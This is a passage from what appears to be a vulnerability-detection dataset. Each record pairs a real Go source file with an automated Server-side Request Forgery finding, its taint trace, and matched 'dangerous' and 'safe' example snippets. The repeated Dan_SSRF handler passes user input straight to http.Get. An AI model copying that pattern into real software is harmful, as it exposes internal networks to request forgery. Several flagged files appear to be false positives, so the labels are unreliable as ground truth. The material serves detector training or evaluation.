"gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "b10c5925db6b56d85a21459232deff1b1734bcc7b21c4f93a79764df254309b3", "license": {"spdx": ["Apache-2.0"], "repo": "arepraneeth/p2", "path": "pkg/labels/http_applicator.go", "repo_head_hexsha": "6c9ea0184aefbaa2d6e39f1805b1a87f1eab5bb7", "stack_hexsha": "19af1746326d0f1df11570594e6eb706d48b7e4e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 170, "entireCode": "package labels\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"k8s.io/kubernetes/pkg/labels\"\n\n\t\"github.com/square/p2/pkg/logging\"\n\t\"github.com/square/p2/pkg/util\"\n)\n\n// Makes remote calls to an API that can answer queries. See labelHTTPServer.\ntype httpApplicator struct {\n\tclient *http.Client\n\t// The endpoint that will be queried for matches. It should not have any paths, but if there are\n\t// any they will be removed (this is for backwards compatibility for servers that added a path to\n\t// the URL.)\n\tmatchesEndpoint *url.URL\n\tlogger logging.Logger\n}\n\nvar _ ApplicatorWithoutWatches = &httpApplicator{}\n\nfunc NewHTTPApplicator(client *http.Client, matchesEndpoint *url.URL) (*httpApplicator, error) {\n\tif matchesEndpoint == nil {\n\t\treturn nil, util.Errorf(\"matches endpoint cannot be nil\")\n\t}\n\n\tc := client\n\tif c == nil {\n\t\tc = http.DefaultClient\n\t}\n\n\treturn &httpApplicator{\n\t\tlogger: logging.DefaultLogger,\n\t\tmatchesEndpoint: matchesEndpoint,\n\t\tclient: c,\n\t}, nil\n}\n\nfunc (h *httpApplicator) toEntityURL(pathTail string, labelType Type, id string, params url.Values) *url.URL {\n\treturn h.toURL(fmt.Sprintf(\"/api/labels/%v/%v%v\", labelType, url.QueryEscape(id), pathTail), params)\n}\n\nfunc (h *httpApplicator) toURL(path string, params url.Values) *url.URL {\n\t// Make value copy of URL; don't want to mutate the URL in the struct.\n\turlToGet := *h.matchesEndpoint\n\turlToGet.Path = path\n\turlToGet.RawQuery = params.Encode()\n\treturn &urlToGet\n}\n\ntype SetLabelRequest struct {\n\tValue string `json:\"value\"`\n}\n\ntype SetLabelsRequest struct {\n\tValues map[string]string `json:\"values\"`\n}\n\nfunc convertHTTPRespToErr(resp *http.Response) error {\n\tif resp.StatusCode > 299 {\n\t\trespBody, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\trespBody = []byte(\"\")\n\t\t}\n\t\treturn util.Errorf(\"%v\\n%v\", resp.Status, string(respBody))\n\t}\n\treturn nil\n}\n\nfunc (h *httpApplicator) getJSON(target *url.URL, toPopulate interface{}) error {\n\treq, err := http.NewRequest(\"GET\", target.String(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"Accept\", \"application/json\")\n\n\tresp, err := h.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif err = convertHTTPRespToErr(resp); err != nil {\n\t\treturn err\n\t}\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = json.Unmarshal(body, toPopulate)\n\treturn err\n}\n\nfunc (h *httpApplicator) putJSON(target *url.URL, toMarshal interface{}) error {\n\tbody, err := json.Marshal(toMarshal)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(\"PUT\", target.String(), bytes.NewReader(body))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\n\tresp, err := h.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif err = convertHTTPRespToErr(resp); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// Sets one label value, only replacing that one label name if already set.\n//\n// POST /api/labels/:type/:id/:name\n// {\n// \t\"value\": \"value_of_label\"\n// }\n//\nfunc (h *httpApplicator) SetLabel(labelType Type, id, name, value string) error {\n\ttoMarshal := SetLabelRequest{\n\t\tValue: value,\n\t}\n\ttarget := h.toEntityURL(fmt.Sprintf(\"/%v\", url.QueryEscape(name)), labelType, id, url.Values{})\n\terr := h.putJSON(target, toMarshal)\n\treturn err\n}\n\n// Replaces all labels on the entity with the new set\n//\n// POST /api/labels/:type/:id\n// {\n// \t\"values\": {\n//\t \t\"name1\": \"value1\",\n// \t\t\"name2\": \"value2\"\n// \t}\n// }\nfunc (h *httpApplicator) SetLabels(labelType Type, id string, labels map[string]string) error {\n\ttoMarshal := SetLabelsRequest{\n\t\tValues: labels,\n\t}\n\ttarget := h.toEntityURL(\"\", labelType, id, url.Values{})\n\terr := h.putJSON(target, toMarshal)\n\treturn err\n}\n\nfunc (h *httpApplicator) SetLabelsTxn(ctx context.Context, labelType Type, id string, labels map[string]string) error {\n\treturn setLabelsTxn(ctx, labelType, id, labels, h)\n}\n\n// Removes all labels on the entity\n//\n// DELETE /api/labels/:type/:id/:name\n//\nfunc (h *httpApplicator) RemoveLabel(labelType Type, id, name string) error {\n\ttarget := h.toEntityURL(fmt.Sprintf(\"/%v\", url.QueryEscape(name)), labelType, id, url.Values{})\n\treq, err := http.NewRequest(\"DELETE\", target.String(), bytes.NewBufferString(\"\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := h.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = convertHTTPRespToErr(resp); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (h *httpApplicator) RemoveLabelTxn(ctx context.Context, labelType Type, id string, keyToRemove string) error {\n\treturn removeLabelsTxn(ctx, labelType, id, []string{keyToRemove}, h)\n}\n\nfunc (h *httpApplicator) RemoveLabelsTxn(ctx context.Context, labelType Type, id string, keysToRemove []string) error {\n\treturn removeLabelsTxn(ctx, labelType, id, keysToRemove, h)\n}\n\n// Removes all labels on the entity\n//\n// DELETE /api/labels/:type/:id\n//\nfunc (h *httpApplicator) RemoveAllLabels(labelType Type, id string) error {\n\ttarget := h.toEntityURL(\"\", labelType, id, url.Values{})\n\treq, err := http.NewRequest(\"DELETE\", target.String(), bytes.NewBufferString(\"\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresp, err := h.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = convertHTTPRespToErr(resp); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (h *httpApplicator) RemoveAllLabelsTxn(ctx context.Context, labelType Type, id string) error {\n\treturn removeAllLabelsTxn(ctx, labelType, id)\n}\n\n// Finds all labels assigned to all entities under a type\n//\n// GET /api/labels/:type\n//\nfunc (h *httpApplicator) ListLabels(labelType Type) ([]Labeled, error) {\n\ttarget := h.toURL(fmt.Sprintf(\"/api/labels/%v\", labelType), url.Values{})\n\tvar labeled []Labeled\n\terr := h.getJSON(target, &labeled)\n\treturn labeled, err\n}\n\n// Finds all labels on the given type and ID.\n//\n// GET /api/labels/:type/:id\nfunc (h *httpApplicator) GetLabels(labelType Type, id string) (Labeled, error) {\n\ttarget := h.toEntityURL(\"\", labelType, id, url.Values{})\n\tvar labeled Labeled\n\terr := h.getJSON(target, &labeled)\n\treturn labeled, err\n}\n\nfunc (h *httpApplicator) GetLabelsWithIndex(labelType Type, id string) (Labeled, uint64, error) {\n\ttarget := h.toEntityURL(\"\", labelType, id, url.Values{})\n\tvar out LabeledWithIndex\n\terr := h.getJSON(target, &out)\n\treturn out.Labeled, out.Index, err\n}\n\n// Finds all matches for the given type and selector.\n//\n// GET /api/select?selector=:selector&type=:type&cachedMatch=:cachedMatch\nfunc (h *httpApplicator) getMatches(selector labels.Selector, labelType Type, cachedMatch bool) ([]Labeled, error) {\n\tparams := url.Values{}\n\tparams.Add(\"selector\", selector.String())\n\tparams.Add(\"type\", labelType.String())\n\tparams.Add(\"cachedMatch\", strconv.FormatBool(cachedMatch))\n\n\t// Make value copy of URL; don't want to mutate the URL in the struct.\n\turlToGet := h.toURL(\"/api/select\", params)\n\n\treq, err := http.NewRequest(\"GET\", urlToGet.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Add(\"Accept\", \"application/json\")\n\n\tvar resp *http.Response\n\tvar bodyData []byte\n\tfor i := 0; i < 5; i++ {\n\t\tresp, bodyData, err = h.attemptSelect(req)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t\th.logger.WithError(err).Errorln(\"Retrying getMatches()\")\n\t\ttime.Sleep(time.Duration(i) * 100 * time.Millisecond)\n\t}\n\tif err != nil { // last retry was a failure\n\t\treturn nil, util.Errorf(\"getMatches failed after retries: %s\", err)\n\t}\n\n\t// try to unmarshal as a set of labeled objects.\n\tvar labeled []Labeled\n\terr = json.Unmarshal(bodyData, &labeled)\n\tif err == nil {\n\t\treturn labeled, nil\n\t}\n\n\t// fallback to a list of IDs\n\tmatches := []string{}\n\terr = json.Unmarshal(bodyData, &matches)\n\tif err != nil {\n\t\tl := len(bodyData)\n\t\tif l > 80 {\n\t\t\tl = 80\n\t\t}\n\t\treturn []Labeled{}, util.Errorf(\n\t\t\t\"bad response from http applicator %s: %s: %s %q\",\n\t\t\turlToGet.String(),\n\t\t\terr,\n\t\t\tresp.Status,\n\t\t\tstring(bodyData[:l]),\n\t\t)\n\t}\n\n\tlabeled = make([]Labeled, len(matches))\n\n\tfor i, s := range matches {\n\t\tlabeled[i] = Labeled{\n\t\t\tID: s,\n\t\t\tLabelType: labelType,\n\t\t\tLabels: labels.Set{},\n\t\t}\n\t}\n\n\treturn labeled, nil\n}\n\nfunc (h *httpApplicator) attemptSelect(r *http.Request) (*http.Response, []byte, error) {\n\tresp, err := h.client.Do(r)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer resp.Body.Close()\n\tbodyData, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn nil, nil, util.Errorf(\"got %d response from http label server: %s\", resp.StatusCode, string(bodyData))\n\t}\n\treturn resp, bodyData, nil\n}\n\nfunc (h *httpApplicator) GetMatches(selector labels.Selector, labelType Type) ([]Labeled, error) {\n\treturn h.getMatches(selector, labelType, false)\n}\n\n// aggregationRate is ignored here because that is configured on the server.\nfunc (h *httpApplicator) GetCachedMatches(selector labels.Selector, labelType Type, aggregationRate time.Duration) ([]Labeled, error) {\n\treturn h.getMatches(selector, labelType, true)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 169, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 169, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "toEntityURL"}}, {"lineNo": 170, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "String"}}, {"lineNo": 170, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "29ab9313a3d2c3c442bc8747f36070a18078063b4cd5f96ae02a69d0097abb2f", "license": {"spdx": ["MIT"], "repo": "Palem1988/minter-go-sdk", "path": "apiSetTransaction.go", "repo_head_hexsha": "512983800ccb05c61ebacd451053419a93c7f3ff", "stack_hexsha": "d518eb77dc564fbb86587d6d34a7b7cec989db03", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 32, "entireCode": "package mintersdk\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strings\"\n)\n\n// Ответ транзакции\n\n//easyjson:json\ntype send_transaction struct {\n\tJSONRPC string `json:\"jsonrpc\"`\n\tID string `json:\"id\"`\n\tResult TransSendResponse `json:\"result\"`\n\tError ErrorStruct `json:\"error\"`\n}\ntype TransSendResponse struct {\n\tCode int `json:\"code\" bson:\"code\" gorm:\"code\" db:\"code\"`\n\tLog string `json:\"log\" bson:\"log\" gorm:\"log\" db:\"log\"`\n\tData string `json:\"data\" bson:\"data\" gorm:\"data\" db:\"data\"`\n\tHash string `json:\"hash\" bson:\"hash\" gorm:\"hash\" db:\"hash\"`\n}\n\n// Исполнение транзакции закодированной RLP\nfunc (c *SDK) SetTransaction(strRlpEnc string) (string, error) {\n\tfmt.Println(\"TX RLP:\", strRlpEnc)\n\n\turl := fmt.Sprintf(\"%s/send_transaction?tx=0x%s\", c.MnAddress, strRlpEnc)\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\t//fmt.Println(\"ERROR: TxSign::http.Post\")\n\t\tfmt.Println(\"ERROR: TxSign::http.Get\")\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\n\tbody, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: TxSign::ioutil.ReadAll\")\n\t\treturn \"\", err\n\t}\n\n\tvar data send_transaction\n\t//json.Unmarshal(body, &data) -- переход на easyjson\n\n\terr = data.UnmarshalJSON(body)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif data.Error.Code != 0 {\n\t\terr = errors.New(fmt.Sprint(data.Error.Code, \" - \", data.Error.Message, \" - \", data.Error.TxResult.Log))\n\t\treturn \"\", err\n\t}\n\n\tif data.Result.Code == 0 {\n\t\treturn fmt.Sprintf(\"Mt%s\", strings.ToLower(data.Result.Hash)), nil\n\t} else {\n\t\tfmt.Printf(\"ERROR: TxSign: %#v\\n\", data)\n\t\treturn data.Result.Log, errors.New(fmt.Sprintf(\"Err:%d-%s\", data.Result.Code, data.Result.Log))\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "2f6dbea4770723ee6ebce5ca0d4346dff97f7da92262d9b59d73e6fb5aa76ac7", "license": {"spdx": ["MIT"], "repo": "RunanWang/somewhere", "path": "utils/net.go", "repo_head_hexsha": "0ba93a3f5f91042b4910171dda981f6c863ee581", "stack_hexsha": "89969523d203d7faadddd66842e2542f48c16ead", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 74, "entireCode": "package utils\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/somewhere/config\"\n)\n\ntype ScoreDetail struct {\n\tItemID string `json:\"item_id\"`\n\tScore float64 `json:\"score\"`\n}\n\ntype ScoreResp struct {\n\tList []ScoreDetail `json:\"msg\"`\n}\n\ntype ScoreReq struct {\n\tUserID string `json:\"user_id\"`\n}\n\ntype StdResp struct {\n\tErrCode int `json:\"err_code\"`\n\tErrMsg string `json:\"err_msg\"`\n}\n\ntype StatusResp struct {\n\tCode int `json:\"code\"`\n\tStatus string `json:\"status\"`\n}\n\nfunc GetItemScoreFromUserID(UserID string) (ScoreResp, error) {\n\tvar reqCont ScoreReq\n\tvar respCont ScoreResp\n\treqCont.UserID = UserID\n\tjsonStr, err := json.Marshal(reqCont)\n\tif err != nil {\n\t\treturn respCont, err\n\t}\n\turl := fmt.Sprint(config.Config.AlgoConfig.Address, \"/test\")\n\tclient := &http.Client{Timeout: 10 * time.Second}\n\treq, err := http.NewRequest(\"POST\", url, bytes.NewBuffer(jsonStr))\n\tif err != nil {\n\t\treturn respCont, err\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn respCont, err\n\t}\n\tdefer resp.Body.Close()\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Println(b)\n\t\treturn respCont, err\n\t}\n\terr = json.Unmarshal(b, &respCont)\n\tif err != nil {\n\t\treturn respCont, err\n\t}\n\treturn respCont, nil\n}\n\nfunc TrainModel() error {\n\tvar respCont StdResp\n\tvar jsonStr []byte\n\turl := fmt.Sprint(config.Config.AlgoConfig.Address, \"/train\")\n\tclient := &http.Client{Timeout: 10 * time.Second}\n\treq, err := http.NewRequest(\"POST\", url, bytes.NewBuffer(jsonStr))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Println(b)\n\t\treturn err\n\t}\n\terr = json.Unmarshal(b, &respCont)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// func GetModelStatus() (int, error) {\n// \tvar respCont StatusResp\n// \turl := fmt.Sprint(config.Config.AlgoConfig.Address, \"/status\")\n// \tclient := &http.Client{Timeout: 10 * time.Second}\n// \treq, err := http.NewRequest(\"GET\", url)\n// \tif err != nil {\n// \t\treturn 0, err\n// \t}\n// \tresp, err := client.Do(req)\n// \tif err != nil {\n// \t\treturn 0, err\n// \t}\n// \tdefer resp.Body.Close()\n// \tb, err := ioutil.ReadAll(resp.Body)\n// \tif err != nil {\n// \t\tfmt.Println(b)\n// \t\treturn 0, err\n// \t}\n// \terr = json.Unmarshal(b, &respCont)\n// \tif err != nil {\n// \t\treturn 0, err\n// \t}\n// \treturn 0, nil\n// }", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 72, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprint"}}, {"lineNo": 72, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 74, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "e229d39c162a042b87f8a665e926853c0780c03d58e4f1e657fa27b0004ef821", "license": {"spdx": ["Apache-2.0"], "repo": "threefoldtech/zosv2", "path": "pkg/environment/config.go", "repo_head_hexsha": "28d76a528e29a98a520c35884ca7dbef3030f77e", "stack_hexsha": "0d8a7c88a508b16338b2a83274a0315ae65c0d08", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 69, "entireCode": "package environment\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/rs/zerolog/log\"\n)\n\n// Config is configuration set by the organization\ntype Config struct {\n\tYggdrasil struct {\n\t\tPeers []string `json:\"peers\"`\n\t} `json:\"yggdrasil\"`\n}\n\n// Merge, updates current config with cfg merging and override config\n// based on some update rules.\nfunc (c *Config) Merge(cfg Config) {\n\tc.Yggdrasil.Peers = uniqueStr(append(c.Yggdrasil.Peers, cfg.Yggdrasil.Peers...))\n\t// sort peers for easier comparison\n\tsort.Strings(c.Yggdrasil.Peers)\n}\n\n// GetConfig returns extend config for specific run mode\nfunc GetConfig() (base Config, err error) {\n\tenv, err := Get()\n\tif err != nil {\n\t\treturn\n\t}\n\tbase, err = getConfig(env.RunningMode, baseExtendedURL)\n\tif err != nil {\n\t\treturn\n\t}\n\tif env.ExtendedConfigURL != \"\" {\n\t\tcustom, err := getConfig(env.RunningMode, env.ExtendedConfigURL)\n\t\tif err != nil {\n\t\t\tlog.Error().Err(err).Msg(\"fetching the config from the env config-url failed\")\n\t\t}\n\t\tbase.Merge(custom)\n\t}\n\n\treturn base, nil\n}\n\nfunc uniqueStr(slice []string) []string {\n\tkeys := make(map[string]struct{})\n\tlist := slice[:0]\n\tfor _, entry := range slice {\n\t\tif _, exists := keys[entry]; !exists {\n\t\t\tkeys[entry] = struct{}{}\n\t\t\tlist = append(list, entry)\n\t\t}\n\t}\n\treturn list\n}\n\nfunc getConfig(run RunningMode, url string) (ext Config, err error) {\n\tif !strings.HasSuffix(url, \"/\") {\n\t\turl += \"/\"\n\t}\n\tu := url + fmt.Sprintf(\"%s.json\", run)\n\n\tresponse, err := http.Get(u)\n\tif err != nil {\n\t\treturn ext, err\n\t}\n\n\tdefer func() {\n\t\t_, _ = ioutil.ReadAll(response.Body)\n\t}()\n\n\tif response.StatusCode != http.StatusOK {\n\t\treturn ext, fmt.Errorf(\"failed to get extended config: %s\", response.Status)\n\t}\n\n\tif err := json.NewDecoder(response.Body).Decode(&ext); err != nil {\n\t\treturn ext, errors.Wrap(err, \"failed to decode extended settings\")\n\t}\n\n\treturn\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 67, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 67, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 69, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "525e9189f0c1eb4e090a7a9640e4360d86885c908ea67c98934d553135d1444c", "license": {"spdx": ["MIT"], "repo": "ahrberg/svttext", "path": "internal/svt/svt.go", "repo_head_hexsha": "e076ce0db144faca7499b4b53d6505db46b0345b", "stack_hexsha": "5940ff83f6e6724e0ab137ec24206e97f2dd6b63", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 94, "entireCode": "package svt\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst (\n\tdefaultBaseURL = \"https://www.svt.se/text-tv/api\"\n\tuserAgent = \"gosvttext\"\n)\n\ntype Client struct {\n\tBaseUrl string\n\tUserAgent string\n\tHTTPClient *http.Client\n}\n\ntype svtTextRes struct {\n\tStatus string `json:\"status\"`\n\tData struct {\n\t\tPageNumber string `json:\"pageNumber\"`\n\t\tPrevPage string `json:\"prevPage\"`\n\t\tNextPage string `json:\"nextPage\"`\n\t\tSubPages []struct {\n\t\t\tSubPageNumber string `json:\"subPageNumber\"`\n\t\t\tGifAsBase64 string `json:\"gifAsBase64\"`\n\t\t\tImageMap string `json:\"imageMap\"`\n\t\t\tAltText string `json:\"altText\"`\n\t\t} `json:\"subPages\"`\n\t\tMeta struct {\n\t\t\tUpdated time.Time `json:\"updated\"`\n\t\t} `json:\"meta\"`\n\t} `json:\"data\"`\n}\n\ntype SvtPage struct {\n\tText []string\n\tPageNumber string\n\tPrevPage string\n\tNextPage string\n}\n\nfunc NewClient() *Client {\n\n\tc := &http.Client{\n\t\tTimeout: time.Second * 10,\n\t}\n\n\treturn &Client{\n\t\tBaseUrl: defaultBaseURL,\n\t\tUserAgent: userAgent,\n\t\tHTTPClient: c,\n\t}\n}\n\nfunc (c *Client) GetNews(page string) (*SvtPage, error) {\n\tnews, err := c.getPage(page)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif news.Status != \"success\" {\n\t\treturn &SvtPage{\n\t\t\tText: []string{},\n\t\t\tPageNumber: news.Data.PageNumber,\n\t\t\tPrevPage: news.Data.PrevPage,\n\t\t\tNextPage: news.Data.NextPage,\n\t\t}, nil\n\t}\n\n\tvar texts = []string{}\n\tfor _, page := range news.Data.SubPages {\n\t\tcleanText := cleanUp(page.AltText)\n\t\ttexts = append(texts, cleanText)\n\t}\n\n\treturn &SvtPage{\n\t\tText: texts,\n\t\tPageNumber: news.Data.PageNumber,\n\t\tPrevPage: news.Data.PrevPage,\n\t\tNextPage: news.Data.NextPage,\n\t}, nil\n}\n\nfunc (c *Client) getPage(page string) (*svtTextRes, error) {\n\turl := 